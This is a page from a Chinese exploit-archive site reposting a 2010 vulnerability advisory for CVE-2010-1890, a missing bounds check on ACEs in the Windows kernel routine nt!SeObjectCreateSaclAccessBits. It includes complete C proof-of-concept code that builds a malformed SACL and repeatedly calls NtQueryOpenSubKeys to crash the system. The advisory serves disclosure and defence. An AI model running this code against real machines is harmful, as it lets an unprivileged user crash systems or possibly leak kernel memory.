首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows nt!SeObjectCreateSaclAccessBits() Missed ACE Bounds Checks (MS
来源:vfocus.net 作者:Ormandy 发布时间:2010-08-18  

Microsoft Windows nt!SeObjectCreateSaclAccessBits() missed ACE bounds checks
----------------------------------------------------------------------------

CVE-2010-1890

An ACE is an Access Control Entry, of which many may be attached to an ACL
(Access Control List). On Windows, an ACL can be of type SACL or DACL
(Discretionary vs System). The routine nt!SeObjectCreateSaclAccessBits omits
proper bounds checking, allowing an attacker who specifies a pathological ACE
size and count to disrupt the operation of the system.

An ACL structure looks like this

kd> dt nt!_ACL
   +0x000 AclRevision      : UChar
   +0x001 Sbz1             : UChar
   +0x002 AclSize          : Uint2B
   +0x004 AceCount         : Uint2B
   +0x006 Sbz2             : Uint2B

And will have the specfied number of entries attached to it. An ACE has a header,

typedef struct _ACE_HEADER {
    BYTE AceType;
    BYTE AceFlags;
    WORD AceSize;
} ACE_HEADER, *PACE_HEADER;

http://msdn.microsoft.com/en-us/library/aa374919%28VS.85%29.aspx

Followed by some type specific data, such as SID and so on. By specifying
pathological ACE configuration, we can cause a fatal system error.

--------------------
Affected Software
------------------------

At least Microsoft Windows 7 is affected.

--------------------
Consequences
-----------------------

This issue may be of interest to security professionals but end users are
unlikely to be affected by this issue. An unprivileged user may be able to
cause a bugcheck, or possibly leak kernel memory.

Example code to trigger this vulnerability is available below.

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS    // I prefer working with ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

#pragma comment(lib, "advapi32")

PVOID AllocBuffer(ULONG Size);

// macro below copied from ntdef.h

#define InitializeObjectAttributes( p, n, a, r, s ) {   \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }

#define OBJ_FORCE_ACCESS_CHECK  0x00000400L

int main(int argc, char **argv)
{
    OBJECT_ATTRIBUTES ObjectAttributes;
    SECURITY_DESCRIPTOR SecurityDescriptor;
    UNICODE_STRING ObjectName;
    FARPROC NtQueryOpenSubKeys;
    ULONG HandleCount;
    PACL Sacl;
    ACE_HEADER Ace;

    NtQueryOpenSubKeys = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQueryOpenSubKeys");

    InitializeObjectAttributes(&ObjectAttributes,
                               &ObjectName,
                               OBJ_FORCE_ACCESS_CHECK,
                               NULL,
                               &SecurityDescriptor);

    fprintf(stderr, "NtQueryOpenSubKeys@%p\n", NtQueryOpenSubKeys);

    ZeroMemory(&ObjectName, sizeof(ObjectName));

    Sacl            = AllocBuffer(0x800);
    Ace.AceType     = SYSTEM_MANDATORY_LABEL_ACE_TYPE;
    Ace.AceFlags    = INHERIT_ONLY_ACE;

    InitializeSecurityDescriptor(&SecurityDescriptor, SECURITY_DESCRIPTOR_REVISION);
    SetSecurityDescriptorSacl(&SecurityDescriptor, TRUE, Sacl, FALSE);
    InitializeAcl(Sacl, 0x800, ACL_REVISION);

    // Begin malformed
    Sacl->AceCount   = 0x1000;
    Ace.AceSize      = 0x1000;

    // Append ACE Header (body not necessary to demonstrate bug)
    // &Sacl[1] is the first byte after the ACL, where the first ACE begins.
    CopyMemory(&Sacl[1], &Ace, sizeof(Ace));

    while (TRUE) {
        NtQueryOpenSubKeys(&ObjectAttributes, &HandleCount);
        Sleep(0x1);
    }

    return 0;
}

#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif

// Quick routine to make a guarded buffer, no error checking etc. whatever.
PVOID AllocBuffer(ULONG Size)
{
    ULONG GuardBufSize;
    PBYTE GuardBuf;
    ULONG ProtBits;

    // Round size up to the next PAGE_SIZE
    GuardBufSize = (Size + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);

    // Add one page to be a guardbuf
    GuardBufSize = GuardBufSize + PAGE_SIZE;

    // Allocate a buffer with a GuardPage
    GuardBuf = VirtualAlloc(NULL,
                            GuardBufSize,
                            MEM_COMMIT | MEM_RESERVE,
                            PAGE_READWRITE);

    // Make the last page NOACCESS
    VirtualProtect(GuardBuf + GuardBufSize - PAGE_SIZE,
                   PAGE_SIZE,
                   PAGE_NOACCESS,
                   &ProtBits);

    // Calculate where buffer should be, so that Buffer[Size] AVs.
    return GuardBuf + GuardBufSize - PAGE_SIZE - Size;
}


-------------------
Credit
-----------------------

This bug was discovered by Tavis Ormandy.

-------------------
Greetz
-----------------------

$1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/
$1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1.
$1$IPYBMipO$/HhHCPgulV/E0pgSvU1710
$1$ULymMO9x$NVMLjZe8i25ajEfnsRowA.
$1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi.

And all the other elite people I've worked with (sorry, too many to generate!).

-------------------
Notes
-----------------------

Approximate time to fix was 150 days.

-------------------
References
-----------------------

- http://msdn.microsoft.com/en-us/library/aa374919%28VS.85%29.aspx
  ACE_HEADER
- http://msdn.microsoft.com/en-us/library/aa374931%28v=VS.85%29.aspx
  ACL
- http://msdn.microsoft.com/en-us/library/ms809962.aspx
  OBJ_FORCE_ACCESS_CHECK


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows win32k!GreSt
·Brazip 9.0 (.zip File) Buffer
·Microsoft Windows win32k!xxxRe
·Triologic Media Player 8 (.m3u
·Microsoft Windows KTM Invalid
·A-PDF WAV to MP3 Converter 1.0
·Microsoft Windows nt!NtCreateT
·Triologic Media Player 8 (.m3u
·Dlink WBR-2310 Wireless Router
·MUSE v4.9.0.006 (.pls) Local U
·MUSE v4.9.0.006 (.m3u) Local B
·123 Flashchat version 7.8 Mult
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved